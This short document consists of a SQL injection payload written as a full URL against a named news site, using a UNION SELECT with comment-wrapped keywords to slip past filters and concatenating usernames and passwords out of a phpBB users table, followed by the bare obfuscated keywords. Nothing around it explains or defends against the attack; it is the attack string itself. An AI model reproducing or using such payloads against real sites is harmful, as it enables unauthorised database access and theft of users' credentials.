http://www.dawnnet.org/resources-news.php?id=-170 UNION /*!SELECT*/ 1,2,3,UNHEX(HEX(/*!concat*/(username,0x3a,user_password))),5,6,7,8,9,10,11,12+from+phpbb_users --

/*!select*/

/*!concat*/